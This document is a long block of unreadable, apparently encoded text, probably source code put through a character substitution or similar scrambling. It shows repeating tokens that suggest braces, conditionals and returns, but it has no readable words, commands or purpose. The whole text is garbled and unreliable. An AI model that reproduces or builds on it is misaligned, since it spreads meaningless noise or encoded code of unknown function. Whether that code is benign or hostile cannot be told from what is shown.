EPBMEYMGE MLO@GLMKKAEPBMEYMGE  						~yvjfg}lg}vm`{		\PMXQZ\DMJ_]\OH  		^NKBHS]S^NFHGH^O]  #			 #			@O				QENHAKBP@ 			R#	LQYLJ]LM	KEFFDO@E]L[##		@O					@G] 				NL]vFY]@FGSPDBZLLFM] 		 								 		FBQKvM[JB\ZMHPE\SPDBZLLFM] 		@N[KMFGKOJZ  #						[L]\[G#						T#@O		iKKAEPBMEYMGE LCB\LSHJLG[O  				vGQBQZEPNCOHHMLCB\LSHJLG[O	QQJ 		][\L MBZHY\E[HKD]S]DAFMBZHY\E[HK#	@YHSX]BYNN[D			OHEZL#@O			iSPDBZLLFM] ]FPXXNP 		UU					KKAEPBMEYMGE C^v@Z@\@ACBCLZ][@GN 	iKKAEPBMEYMGE ]FPXXNP   					SPDBZLLFM] QENHAKBP@  	R#				]CMKXXQK@G\FH]FPXXNP			QENHAKBP@				@^v_XSYHPXKSN  ####	JBA\G@vQJPN]M]]FPXXNP	^ASQ\PAL\@O  ###			XX]L[vEYC^\OZSZ_@JL]FPXXNP			  #	EHOBPA]OAvH]FPXXNP #		@YHSX]BYNN[D			][\L#T#M@ZZCX^K							#		OF[LHJA			H[[HPSPDBZLLFM] hkzyh}a			KKAEPBMEYMGE  		KKAEPBMEYMGE _ONSMO	SPDBZLLFM]   		HZ				FO_LFKQSGF[O 	R####						OQJ\XEQ\F			iKKAEPBMEYMGE FO_LFKQSGF[O														LNE@OEPSS[ 										iSPDBZLLFM] FO_LFKQSGF[O						LNE@OEPSS[ 			#@O					@^v_XSYHPXKSN OQJ\XEQ\F 				SPDBZLLFM] SPDBZLLFM] 		OQJ\XEQ\F			YYOOJPZFS^  				R#				JZZMQHH[E					KKAEPBMEYMGE YYOOJPZFS^rt #	@O		JZZMQHH[E										Z][@YFZJZZMQHH[E		@^v_XSYHPXKSN  				OHEZL						NDOONH]^N[]JZZMQHH[E  				R####				M@ZZCX^K							JZZMQHH[E#			K[LHB#T#T#		T#			#	GMJ]Y_XH\OZ^L					KKAEPBMEYMGE 								M@ZZCX^K							@^v_XSYHPXKSN 								@N[KMFGKOJZ M@ZZCX^K	][\L 			@^v_XSYHPXKSN 						 #		@N[KMFGKOJZ 				HOQEGHvB										KKAEPBMEYMGE #		SPDBZLLFM] #				SPDBZLLFM] #		KKAEPBMEYMGE 							KKAEPBMEYMGE QENHAKBP@ 			SPDBZLLFM] ###@O	iSPDBZLLFM] FQ\[@] 	UU	KKAEPBMEYMGE C^v@Z@\@ACBCLZ][@GN 						i@^v_XSYHPXKSN FQ\[@]   			@^v_XSYHPXKSN GMJ]Y_XH\OZ^L  	R##]CMKXXQK@G\FHFQ\[@]	GMJ]Y_XH\OZ^L			SPDBZLLFM]  #	JBA\G@vQJPN]M]FQ\[@]	^ASQ\PAL\@O  ####	XX]L[vEYC^\OZSZ_@JLFQ\[@]	  #EHOBPA]OAvHFQ\[@] #	@YHSX]BYNN[D							][\L#T#FFHAY[MNNA]@M				][\L#\JLJ[]_Y							C^v@Z@\@ACBCLZ][@GN 	i@^v_XSYHPXKSN ]FPXXNP  #			@O	iKKAEPBMEYMGE ]FPXXNP 						UU	\JLJ[]_Y			QENHAKBP@ 			R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 				@N[KMFGKOJZ  #		XCKSLXOECGQvOZ]FPXXNP	G\EE #	FFHAY[MNNA]@M						OHEZL#		T#		\JLJ[]_Y			C^v@Z@\@ACBCLZ][@GN 					i@^v_XSYHPXKSN FQ\[@]  #				@O				iSPDBZLLFM] FQ\[@] 		UU	\JLJ[]_Y				GMJ]Y_XH\OZ^L 		R#				FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	SPDBZLLFM]  ####XCKSLXOECGQvOZFQ\[@]	G\EE #			FFHAY[MNNA]@M					OHEZLOODMPN_]OLH^CLAOODMPN_]#		T#						\GZL]\JLJ[]_Y #		@O	FFHAY[MNNA]@M 			R#vHK[JXZ\A								@G] 				NL]vFY]@FG@N[KMFGKOJZ 	 					#			\YMH]LvFY]@FG@N[KMFGKOJZ 	vHK[JXZ\A			SPDBZLLFM]  #@O	vHK[JXZ\A					QQ  	R#		\YMH]LvFY]@FGSPDBZLLFM] 			SPDBZLLFM]  					@^v_XSYHPXKSN  #					FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		@N[KMFGKOJZ  ##		T#	[L]\[G###T#							[_JPKSDYF^^			H[[HPKKAEPBMEYMGE hkzyh}a			@^v_XSYHPXKSN  		SPDBZLLFM] _ONSMO	@^v_XSYHPXKSN   #JPPB^^_BQJ			H[[HP ###		OF[LHJA			[_JPKSDYF^^		HZ		[YBEB\JZ 				R#								PEPBGYBEFY@				[YBEB\JZ												LNE@OEPSS[#	ALB@[G@D^EBDB]GK				i@N[KMFGKOJZ PEPBGYBEFY@ 				iSPDBZLLFM] PEPBGYBEFY@ 			#J\[[LG]		iSPDBZLLFM] PEPBGYBEFY@ 										i@^v_XSYHPXKSN PEPBGYBEFY@ 							#	@O		KKAEPBMEYMGE J\[[LG]  				R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		@^v_XSYHPXKSN  #			##	[L]\[G#T#			@O	@N[KMFGKOJZ J\[[LG]			HOQEGHvB 				OHEZL 		R####				@O				J\[[LG]								@N[KMFGKOJZ SPDBZLLFM] J\[[LG] 						 							uG 		J\[[LG]		uG#					_KQ[HGEZO						SPDBZLLFM] 					FQ\[@]						yayvlfe#					@O				ZKXOKS\JGG_ZQC@QYPEPBGYBEFY@		J\[[LG]			_KQ[HGEZO  						R#	@O		ALB@[G@D^EBDB]GK 	JBA\G@vQJPN]M]PEPBGYBEFY@	ALB@[G@D^EBDB]GK #LEZL	JBA\G@vQJPN]M]PEPBGYBEFY@			@^v_XSYHPXKSN   #	XX]L[vEYC^\OZSZ_@JLPEPBGYBEFY@				  #	\YMH]LvFY]@FG@^v_XSYHPXKSN 					@N[KMFGKOJZ  					@N[KMFGKOJZ  #JPPB^^_BQJrt			H[[HPPEPBGYBEFY@				J\[[LG] #							@O			@G] 	NL]vFY]@FGKKAEPBMEYMGE 				 						 				\YMH]LvFY]@FGKKAEPBMEYMGE 				@^v_XSYHPXKSN  #		@O				@G] 	NL]vFY]@FGSPDBZLLFM] 					 					 			iMLEL]LvFY]@FGKKAEPBMEYMGE  #					T			LEZL	R#	iHJX\@[L	ALH[]KLH]###		CNHJQJJSF				@G] 				NL]vFY]@FG@N[KMFGKOJZ 	 								SFvMJZyayv`g}vdhqyayv`g}vdhq]ZY]B]QP]SFvMJZ#		\YMH]LvFY]@FGKKAEPBMEYMGE 	CNHJQJJSF	@^v_XSYHPXKSN  #@O		CNHJQJJSF				  	R#	\YMH]LvFY]@FG@^v_XSYHPXKSN 					@N[KMFGKOJZ  		SPDBZLLFM]  #						FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	SPDBZLLFM]  #	K[LHB#T##		T#T#	T#@O			@YHSX]BYNN[D						AFF]vv_DYH]]D  		R#	###				FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	SPDBZLLFM]  #						XCKSLXOECGQvOZFQ\[@]			G\EE #	XCKSLXOECGQvOZ]FPXXNP				G\EE #OF[LHJA		JPPB^^_BQJ	HZ		OL[AOP^\ 		ZKXOKS\JGG_ZQC@QYOL[AOP^\rt	OL[AOP^\rt #	vHK[JXZ\A						@G] 	NL]vFY]@FG@N[KMFGKOJZ 		 						#				\YMH]LvFY]@FG@N[KMFGKOJZ 	vHK[JXZ\A		KKAEPBMEYMGE  ###@O			vHK[JXZ\A					QQ  			R#				\YMH]LvFY]@FGKKAEPBMEYMGE 			KKAEPBMEYMGE  			@^v_XSYHPXKSN  #				FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 				@N[KMFGKOJZ  #						T#							T#	T					JH]JA	}A[F^HKEL		E]GYK]v 			R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 		E]GYK]v ##	T	JH]JA	lQJLY]@FG		E]GYK]v 	R#				T#			T#		O\GJ]@FG			EZ[EY\ZFO #					R#	[LCLJ]	M@ZJFGGLJ]LM	Z]HJBO[HDL##][P		R#	~y	aFDL	e@GB	]ALDL	Z\YYF[]##			@O			@N[KMFGKOJZ @N[KMFGKOJZ   		[L]\[G#		@O					MLO@GLMKKAEPBMEYMGE  		UU	MLO@GLMSPDBZLLFM]   				R#	@O			@G] 		iNL]vFY]@FGSPDBZLLFM] 		  			R#	iMLEL]LvFY]@FGSPDBZLLFM]  #					i\YMH]LvFY]@FGKKAEPBMEYMGE 						@N[KMFGKOJZ  #T#	MFD@GH]L	F[JALZ][H]F[	OF[	~y	yFZ]	}L[DZ####						[L]\[G#			T#		OEKOHSDG@[F			@G] 	iNL]vFY]@FGSPDBZLLFM] 		 #					@O		OEKOHSDG@[F 				[L]\[G#			vDKYZJJXGM							SPDBZLLFM] @N[KMFGKOJZ  					@G] 			iKKAEPBMEYMGE @^v_XSYHPXKSN  				##	@O	vDKYZJJXGM					 	vDKYZJJXGM			QMMQO #					@O	KKAEPBMEYMGE  			OEKOHSDG@[F						vDKYZJJXGM		QJQ  				[L]\[G#			i\YMH]LvFY]@FGKKAEPBMEYMGE 	@^v_XSYHPXKSN  			@^v_XSYHPXKSN  #MLXDFHODDKY						@G] 	iNL]vFY]@FG@N[KMFGKOJZ 	 					#				i\YMH]LvFY]@FG@N[KMFGKOJZ 					MLXDFHODDKY			KKAEPBMEYMGE  #	@O		MLXDFHODDKY						  			R#		iMLEL]LvFY]@FG@N[KMFGKOJZ  #i\YMH]LvFY]@FGKKAEPBMEYMGE 			SPDBZLLFM]  		@N[KMFGKOJZ  ##			FBQKvM[JB\ZMHPE\SPDBZLLFM] 	KKAEPBMEYMGE  #		T###							T			JH]JA	}A[F^HKEL	E]GYK]v 		R#T	JH]JA			lQJLY]@FG			E]GYK]v 				R#	T#		T#O\GJ]@FG		MOQFEPFCENML_K@Z #			R#][P	R#		@O	MLO@GLM@N[KMFGKOJZ   			[L]\[G##		@O	KKAEPBMEYMGE  							@^v_XSYHPXKSN  	[L]\[G###		@O			EMD^HNCXOK^Q  	[L]\[G#	@O		HNA_P@GZGMN  						[L]\[G#				LCB\LSHJLG[O						^D]]OFPX_KGKN@ ###			A^ZJCAMSQZ							LCB\LSHJLG[O					@^v_XSYHPXKSN #	@NYAOBHL							@^v_XSYHPXKSN 				uG									SPDBZLLFM] 				uG#									KKAEPBMEYMGE 					uG								@N[KMFGKOJZ 					uG					KKAEPBMEYMGE 					uG#			@^v_XSYHPXKSN 								uG								KKAEPBMEYMGE 				uG				@^v_XSYHPXKSN 					uG#				SPDBZLLFM] 				uG#		J\[[LG]						iSPDBZLLFM] A^ZJCAMSQZ 										i@^v_XSYHPXKSN A^ZJCAMSQZ 			#			@O					@^v_XSYHPXKSN J\[[LG]  		R#				FBQKvM[JB\ZMHPE\SPDBZLLFM] 	@^v_XSYHPXKSN  #	[L]\[G####	T#			@O				KKAEPBMEYMGE J\[[LG]		KKAEPBMEYMGE  				OHEZL 	R#			ZKXOKS\JGG_ZQC@QYA^ZJCAMSQZ	J\[[LG]					@NYAOBHL D^H]FL^_KS_UXHDKEQHLD^H]FL^_KS_w#	JBA\G@vQJPN]M]A^ZJCAMSQZ	^ASQ\PAL\@O  #XX]L[vEYC^\OZSZ_@JLA^ZJCAMSQZ				  #T#	YEA^CJENGPQ						LSQQPGQ_@[D^ #	@O	YEA^CJENGPQ					UU		SPDBZLLFM] YEA^CJENGPQ 		  			[L]\[G#M_XXHYC^C_SP					@N[KMFGKOJZ [ZKLSD_ 			SPDBZLLFM]  ##			_ONSMO					\PMXQZ\DMJ_]\OH #					HOQEGHvB		FZLYYKLLEQ[\Ahkzyh}a						KKAEPBMEYMGE 	QQ  				SPDBZLLFM] #		@CHE\K^@SSB					H[[HP#			_ONSMO											HOQEGHvB#LCB\LSHJLG[O														HOQEGHvB#	 #		X@XQCNQL]]		_ONSMO										HOQEGHvBQXEFFv_\GOPZDDHAQXEFFv_\GO#		OF[LHJA		@CHE\K^@SSB			HZ		@DZNOYA 			R#					[YBEB\JZ		@N[KMFGKOJZ @DZNOYA #@O	i@N[KMFGKOJZ [YBEB\JZ 	UU						vGQBQZEPNCOHHM[YBEB\JZ						QJQ 	][\L  			R#	~y	\ZLlG]@]P{LJF[MZ	@GZ]HG]@H]L	ZLZZ@FG^@GMF^##		X@XQCNQL]]							@DZNOYA#		K[LHB#			T#			T#	J_@[BEONv_					Q]H[ENCXS]X^Z@] #			QENHAKBP@										GvOZDJCMQLYAvYLO#				@N[KMFGKOJZ #H[[HPvvze|nvv			vvye|n`gvkhzlvv						vvl{z`fgvv #H[[HPM_XXHYC^C_SP			J_@[BEONv_	^NKBHS]S^NFHGH^O]  #						 YKAQPPNGZKJ[[B]BEEYKAQPPNGZ#	@O			QENHAKBP@ 	R#@O				@G] 	NL]vFY]@FGKKAEPBMEYMGE 	 					 		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		KKAEPBMEYMGE  #	[L]\[G#	T#					M@ZZCX^K			#	B_C[G^HBXS						H[[HPhkzyh}a				KKAEPBMEYMGE 	_ONSMO		@^v_XSYHPXKSN  #			[_FFZv[vAFX\			SPDBZLLFM] @N[KMFGKOJZ  				iKKAEPBMEYMGE @N[KMFGKOJZ  					OHEZL#						@O	@^v_XSYHPXKSN [_FFZv[vAFX\ 						[_FFZv[vAFX\			 			R#					B_C[G^HBXSrt				@^v_XSYHPXKSN hkzyh}a				KKAEPBMEYMGE  								[_FFZv[vAFX\#			B_C[G^HBXSrt			_ONSMO							[_FFZv[vAFX\#				T#	OF[LHJA	B_C[G^HBXS		HZ					XvvPDQvNHO 	R#	ZKPOPL^LZ]NZ			i@N[KMFGKOJZ XvvPDQvNHO 					i@^v_XSYHPXKSN XvvPDQvNHO 							#					@O				@^v_XSYHPXKSN ZKPOPL^LZ]NZ 				UU			ZKPOPL^LZ]NZ			 		JFG]@G\L####@O						KKAEPBMEYMGE SPDBZLLFM] 						ZKPOPL^LZ]NZ		YYOOJPZFS^  			R#			JZZMQHH[E			@^v_XSYHPXKSN YYOOJPZFS^rt #					@O				JZZMQHH[E										Z][@YFZJZZMQHH[E				SPDBZLLFM]  			OHEZL						NDOONH]^N[]JZZMQHH[E  		R##	M@ZZCX^K					JZZMQHH[E#K[LHB#		T#	Z][LZZ]LZ]	JFDYHJ]	LOOLJ]]PYL####	T#	T#@O			M@ZZCX^K					 	R#						QENHAKBP@									@^v_XSYHPXKSN SPDBZLLFM] 	@N[KMFGKOJZ 						KKAEPBMEYMGE M@ZZCX^K		][\L 				@^v_XSYHPXKSN 				QENHAKBP@				 #				@O		@^v_XSYHPXKSN QENHAKBP@  			R#			FBQKvM[JB\ZMHPE\SPDBZLLFM] 		SPDBZLLFM]  ###[L]\[G#T#		T#AKCE_LPFH					][\L#\[F_\MA^A]			G\EE#		@O		iSPDBZLLFM] X@XQCNQL]]  		R#	iO@Q\Y	F[K@]###	\[F_\MA^A]							C^v@Z@\@ACBCLZ][@GN 		i@^v_XSYHPXKSN X@XQCNQL]]  ##						@O						@N[KMFGKOJZ \[F_\MA^A] 						\[F_\MA^A]				QENHAKBP@ 				R#							AKCE_LPFH							OHEZL###	T#	oo`	K@GM@GNZ	Y[@DL	AHGMZAHBL##		T#MSYOQ_XB]HQ			H[[HP#		hkzyh}a				@^v_XSYHPXKSN #		MLO@GLMKKAEPBMEYMGE  							~yvjfg}lg}vm`{				_ONSMO 		@N[KMFGKOJZ #	 ##		P[OQYSXPSBDDE							@G] 			NL]vFY]@FGSPDBZLLFM] 			 #		@O						P[OQYSXPSBDDE		@N[KMFGKOJZ  				P[OQYSXPSBDDE						  	R#	XCKSLXOECGQvOZX@XQCNQL]]			G\EE ####	OF[LHJA	MSYOQ_XB]HQ	HZ			_Z@Dv 			R#	JPJEL	ML]LJ]LM##					G^QMNPQLEXYNQ						iSPDBZLLFM] _Z@Dv 			i@^v_XSYHPXKSN _Z@Dv 									#				@O		@^v_XSYHPXKSN G^QMNPQLEXYNQ 		@^v_XSYHPXKSN G^QMNPQLEXYNQ			HOQEGHvB 				OHEZL 			R#GY@BPM[JBAv]X				CQ@O\DX]\LHOGM[EJG^QMNPQLEXYNQ		HOQEGHvB ###	@O						KKAEPBMEYMGE GY@BPM[JBAv]X 						GY@BPM[JBAv]X									G^QMNPQLEXYNQ 		ZKXOKS\JGG_ZQC@QY_Z@Dv	GY@BPM[JBAv]X #								T#			T#								[L]\[G#			T#						@O					AKCE_LPFH 			R[LGZY\KZCPCJQJQL NQ[P]F@EM[LGZY\KZCPCJ#	]CMKXXQK@G\FHX@XQCNQL]]		QENHAKBP@		SPDBZLLFM]  ####						JBA\G@vQJPN]M]X@XQCNQL]]				^ASQ\PAL\@O  ##			XX]L[vEYC^\OZSZ_@JLX@XQCNQL]]				QQJ  #		EHOBPA]OAvHX@XQCNQL]] #		T#				\JLJ[]_Y									iKKAEPBMEYMGE X@XQCNQL]] 							C^v@Z@\@ACBCLZ][@GN 				i@N[KMFGKOJZ X@XQCNQL]]  							#	@O					\JLJ[]_Y			QENHAKBP@ 			R##							FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 				KKAEPBMEYMGE  #XCKSLXOECGQvOZX@XQCNQL]]			AKCE_LPFH					\[F_\MA^A]		G\EE #	[vCM_ES[FXOG										@G] 		NL]vFY]@FGSPDBZLLFM] 						 				#			\YMH]LvFY]@FGSPDBZLLFM] 		[vCM_ES[FXOG					@N[KMFGKOJZ  ####	@O				[vCM_ES[FXOG							QQ  			RFQJB@YSQ^CC]JZY@AFQJB@YSQ^C FQJB@YSQ^CFQJB@YSQ^C#\YMH]LvFY]@FG@^v_XSYHPXKSN 		SPDBZLLFM]  	@^v_XSYHPXKSN  #	FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 		@N[KMFGKOJZ  #	T#	[L]\[G#				T#			\GZL]\JLJ[]_Y #GOFFP@L^@[FG@@			@N[KMFGKOJZ #	JPPB^^_BQJ					H[[HP #	OF[LHJA					MSYOQ_XB]HQ	HZ		QX]N^HA 			R#[YBEB\JZ						@^v_XSYHPXKSN QX]N^HA ####@O	i@N[KMFGKOJZ [YBEB\JZ  					JFG]@G\L#					\FDO]SACF			SPDBZLLFM] KKAEPBMEYMGE  					iSPDBZLLFM] QX]N^HA	J 				OHEZL#@O	\FDO]SACF			OHEZL						KKAEPBMEYMGE SPDBZLLFM]   			iOEFJB\FDO]SACF		efjbvlq #	ALB@[G@D^EBDB]GK			iSPDBZLLFM] QX]N^HA 					iSPDBZLLFM] QX]N^HA 			#	KZvSSX]N_GP						i@N[KMFGKOJZ QX]N^HA 						iKKAEPBMEYMGE QX]N^HA 			#							@O					SPDBZLLFM] KZvSSX]N_GP  	R#		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	SPDBZLLFM]  #	@O	\FDO]SACF				OHEZL 						R#						@O			@N[KMFGKOJZ SPDBZLLFM]   			iOEFJB\FDO]SACF			efjbv|g #							iOJEFZL\FDO]SACF #	T#		JFG]@G\L##			T#	@O			SPDBZLLFM] KZvSSX]N_GP		HOQEGHvB 				OHEZL 	R#						@O	iKKAEPBMEYMGE X@XQCNQL]]  			R#		@O			\FDO]SACF				OHEZL 	R#				@O	KKAEPBMEYMGE KKAEPBMEYMGE   	iOEFJB\FDO]SACF			efjbv|g #					iOJEFZL\FDO]SACF ##				T#						JFG]@G\L#		T#KZvSSX]N_GP						CQ@O\DX]\LHOGM[EJKZvSSX]N_GP				HOQEGHvB #					T#@O	@^v_XSYHPXKSN KZvSSX]N_GP  				R#				FBQKvM[JB\ZMHPE\SPDBZLLFM] 					KKAEPBMEYMGE  SXAPNOFSA_PEE_[GYSXAPNO#	@O				\FDO]SACF							OHEZL 			R#				@O			KKAEPBMEYMGE @N[KMFGKOJZ   		iOEFJB\FDO]SACF	efjbv|g #	iOJEFZL\FDO]SACF #			T#					JFG]@G\L#			T#	@O	i@^v_XSYHPXKSN X@XQCNQL]]  		R#	~y	o\EE	z@]L	lM@]@GN	ZL[@HE@SL	M@Z][@K\]F[##		@O				\FDO]SACF			OHEZL 	R#	@O				SPDBZLLFM] SPDBZLLFM]   			iOEFJB\FDO]SACF		efjbv|g #	iOJEFZL\FDO]SACF ###		T###			JFG]@G\L#			T#	@O	@DX^BEQ[HCH^B  		R####		_KQ[HGEZO						uG`OdFM\EL	E@]LZYLLMuG		GOFFP@L^@[FG@@								@^v_XSYHPXKSN 							X@XQCNQL]]											uG`OdFM\ELuG#T	LEZL		R#		_KQ[HGEZO					uG`OdFM\EL	DFMvYAYJuG			GOFFP@L^@[FG@@			SPDBZLLFM] 			X@XQCNQL]]							uG`OdFM\ELuG#				`OdFM\EL	DFMvYAYJuG		GOFFP@L^@[FG@@		SPDBZLLFM] 					X@XQCNQL]]					uG`OdFM\ELuG###								`OdFM\EL	DFMvYAYJuG					GOFFP@L^@[FG@@					KKAEPBMEYMGE 				X@XQCNQL]]									uG`OdFM\ELuG#								`OdFM\EL	DFMvYAYJuG								GOFFP@L^@[FG@@				@N[KMFGKOJZ 			X@XQCNQL]]											uG`OdFM\ELuG##		T#		@O	ZKXOKS\JGG_ZQC@QYQX]N^HA	KZvSSX]N_GP						_KQ[HGEZO  		JPPB^^_BQJrt							H[[HPQX]N^HA		KZvSSX]N_GP #		@O		ALB@[G@D^EBDB]GK 		JBA\G@vQJPN]M]QX]N^HA	ALB@[G@D^EBDB]GK ##			LEZL		JBA\G@vQJPN]M]QX]N^HA			SPDBZLLFM]   #@O					\FDO]SACF					OHEZL 		R#@O			@N[KMFGKOJZ KKAEPBMEYMGE   			iOEFJB\FDO]SACF		efjbv|g #		iOJEFZL\FDO]SACF #			T#							T#			@O				AKCE_LPFH			UU	@^v_XSYHPXKSN JPPB^^_BQJ 							 							AFF]vv_DYH]]D  					R#	####	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			@N[KMFGKOJZ  ##		XCKSLXOECGQvOZX@XQCNQL]]		\[F_\MA^A] #OF[LHJA	JPPB^^_BQJ	HZ	OL[AOP^\ 			ZKXOKS\JGG_ZQC@QYOL[AOP^\rt				OL[AOP^\rt ####		[vCM_ES[FXOG						@G] 		NL]vFY]@FGKKAEPBMEYMGE 		 					#						##\YMH]LvFY]@FGSPDBZLLFM] 		[vCM_ES[FXOG			SPDBZLLFM]  #		@O		[vCM_ES[FXOG					QQ  	R#\YMH]LvFY]@FG@^v_XSYHPXKSN 		@^v_XSYHPXKSN  		@^v_XSYHPXKSN  #		FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 				@N[KMFGKOJZ  #						T###								[L]\[G###					T#		@O				@G] 		NL]vFY]@FGKKAEPBMEYMGE 			 		 						\YMH]LvFY]@FGKKAEPBMEYMGE 			SPDBZLLFM]  #@O				@G] 		NL]vFY]@FGKKAEPBMEYMGE 		 								 	iMLEL]LvFY]@FGKKAEPBMEYMGE  ####					T			JH]JA		}A[F^HKEL	E]GYK]v 	R#		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			E]GYK]v \@\LXUXFXG\C\@\LXw#	T		JH]JA					lQJLY]@FG	E]GYK]v 				R###	FBQKvM[JB\ZMHPE\SPDBZLLFM] 		E]GYK]v #	T#					T#		O\GJ]@FG			KJ]XFvSQvXN@BvPED #R#					][P	R#	@O			MLO@GLMSPDBZLLFM]   		[L]\[G#			@O	@N[KMFGKOJZ SPDBZLLFM]   	[L]\[G###			XZ^\@KJE^							FZLYYKLLEQ[\Ahkzyh}a							@^v_XSYHPXKSN 	w  #				YEA^CJENGPQ		LSQQPGQ_@[D^ #@O			YEA^CJENGPQ			UU	@N[KMFGKOJZ YEA^CJENGPQ 					QMOQ  			[L]\[G#J_@[BEONv_						Q]H[ENCXS]X^Z@] #			J\[[LG]				iNL]vFY]@FGXZ^\@KJE^				 #					@O				J\[[LG]			KKAEPBMEYMGE J\[[LG] 			SPDBZLLFM] J_@[BEONv_ 					J\[[LG]			J_@[BEONv_ 		[L]\[G#						@O				SPDBZLLFM] SPDBZLLFM]   				R#\YMH]LvFY]@FGXZ^\@KJE^		J_@[BEONv_		@N[KMFGKOJZ  #			T			LEZL@O			MLO@GLM@N[KMFGKOJZ  		MLO@GLM@N[KMFGKOJZ  									MLO@GLM@^v_XSYHPXKSN  									MLO@GLMSPDBZLLFM]  		SPDBZLLFM] SPDBZLLFM]   	R#	BQCS@ZDHY					SPDBZLLFM] #	ODKOF]									iGL^			BQCS@ZDHYJFGZ]HG]@N[KMFGKOJZ  			JFGZ]HG]KKAEPBMEYMGE  	JFGZ]HG]@^v_XSYHPXKSN  	JFGZ]HG]SPDBZLLFM]   #	@O				ODKOF]			ODKOF]JFGGLJ]vL[[GF 				R#Y[LO@Q			@ZZL]nefkhezr@N[KMFGKOJZ tY[LO@Q 					nefkhezrSPDBZLLFM] tY[LO@Q			@^v_XSYHPXKSN ####		LCGP_F_]N				ODKOF][LHEvLZJHYLvZ][@GNJ_@[BEONv_ ##						OEMDJPZ					ODKOF][LHEvLZJHYLvZ][@GNXZ^\@KJE^ #			ODKOF]X\L[P`uQLuQuQ{}	`guQuQO	RY[LO@QTFuQ]uQFGuQ	uQOuQuQ@FuQLvGHuQML	FuQ]uQuQOGv_HE\L	uQ\uQFEFHM 	uQhuQJ|uQuQ	ROEMDJPZT	RLCGP_F_]NT	GuQO 	fuQL	m|yuQJ`juQuQl	blp	uQyuQuQuQl	FuQuQuQuQOGv_uQE\LRLCGP_F_]NT #@O	ODKOF]L[[F[ 			FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 					SPDBZLLFM] 				KKAEPBMEYMGE ODKOF]L[[F[				   #	ODKOF]JEFZL #	T#T#	HMM	]PYL	HGGF]H]@FGZ##T	JH]JA			}A[F^HKEL					E]GYK]v 						R#FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 				E]GYK]v #			T					JH]JA						lQJLY]@FG			E]GYK]v 		R#		T#					T#			O\GJ]@FG		E@^NYDZ^vLY #R#	~y	`GGL[kEFJBZ	AFFB	MLJF[H]F[##@MMvvANCK				MLO@GLM@N[KMFGKOJZ  							~yvjfg}lg}vm`{								hkzyh}a									KKAEPBMEYMGE #M_O^O_\[						FZLYYKLLEQ[\Ahkzyh}a				@^v_XSYHPXKSN 	w  #		[L]\[G	H[[HP@MMvvANCK				SPDBZLLFM] 		@MMvvANCK				KKAEPBMEYMGE 				M_O^O_\[							SPDBZLLFM] 		M_O^O_\[ #T#	O\GJ]@FG					LPCKvDQ@B]HNXJXPM_[ #	R#			NQN^EKYJH				@G] 					iSPDBZLLFM] XPM_[ #			@O	NQN^EKYJH						 						UU			NQN^EKYJH			  	[L]\[G	OHEZL#		QAQDFGS_^NXD[		iKKAEPBMEYMGE XPM_[ #			@O			@^v_XSYHPXKSN QAQDFGS_^NXD[ 					UU		KKAEPBMEYMGE QAQDFGS_^NXD[ 		 		UU		@^v_XSYHPXKSN QAQDFGS_^NXD[ 		  	[L]\[G			OHEZL#		OEKOHSDG@[F							KKAEPBMEYMGE 	QAQDFGS_^NXD[						w  #@O				SPDBZLLFM] OEKOHSDG@[F 					w 		UU	OEKOHSDG@[Frt							@^v_XSYHPXKSN 			UU			@N[KMFGKOJZ OEKOHSDG@[Fr t 					  	[L]\[G			OHEZL#					L[GLAFES						iKKAEPBMEYMGE OEKOHSDG@[Frw t #@O	L[GLAFES		OHEZL			UU					@N[KMFGKOJZ L[GLAFES 		QQK  			[L]\[G					OHEZL#					@O	@N[KMFGKOJZ L[GLAFES			 							uQOuQK 			R##				DBA[[_v					i@N[KMFGKOJZ 					SPDBZLLFM] L[GLAFES	   #@O			@N[KMFGKOJZ DBA[[_v 			UU			DBA[[_vrt						 				UU	DBA[[_vrt			  	[L]\[G		OHEZL#					@O		SPDBZLLFM] KKAEPBMEYMGE   	L[GLAFES			iNSMLJFMLL[GLAFES			  #					LEZL@O	@N[KMFGKOJZ @N[KMFGKOJZ   		R#				L[GLAFES					iNS@GOEH]L@N[KMFGKOJZ L[GLAFES			 		KKAEPBMEYMGE L[GLAFES 		QQ  				  #					@O		KKAEPBMEYMGE L[GLAFES 							KKAEPBMEYMGE L[GLAFES 					QMKMQL  	[L]\[G	OHEZL##					T#	LEZL					[L]\[G				OHEZL###		T###						@O	@^v_XSYHPXKSN L[GLAFES 		UU				@^v_XSYHPXKSN L[GLAFES 									 				UU				SPDBZLLFM] L[GLAFES				QQ  			@^v_XSYHPXKSN 		UU						@N[KMFGKOJZ L[GLAFES 			OEKOHSDG@[Frt 		[L]\[G	OHEZL#		[L]\[G					L[GLAFES#			T#O\GJ]@FG	JJNHBSQDY@EDYHE\ ##		R#	~y	yFZ]	jFG]LG]	[LJ\[Z@_L	][\Z]HGJAF[##					][P		R#			@O				MLO@GLMKKAEPBMEYMGE   		[L]\[G#		D@F]YGZY				E@^NYDZ^vLY #			@O				iKKAEPBMEYMGE D@F]YGZYrt  			[L]\[G#@O			LPCKvDQ@B]HNXJD@F]YGZYrt 									OHEZL 		[L]\[G#				]KD]PF\EJY									GvOZDJCMQLYAvYLOKKAEPBMEYMGE 		H[[HPvvze|nvv 				H[[HP@^v_XSYHPXKSN [ZKLSD_ 	KKAEPBMEYMGE    #			@O		@N[KMFGKOJZ ]KD]PF\EJY 					UU		]KD]PF\EJY			 		[L]\[G#	]KD]PF\EJY					SPDBZLLFM] @^v_XSYHPXKSN 							]KD]PF\EJY J]ZJEJHAYZHDYZJ]ZJEJ#	@O					KKAEPBMEYMGE ]KD]PF\EJY 				UU	]KD]PF\EJY									 					[L]\[G#				C_MFC[]GPPG		^NKBHS]S^NFHGH^O] 								FZLYYKLLEQ[\Ahkzyh}a							@N[KMFGKOJZ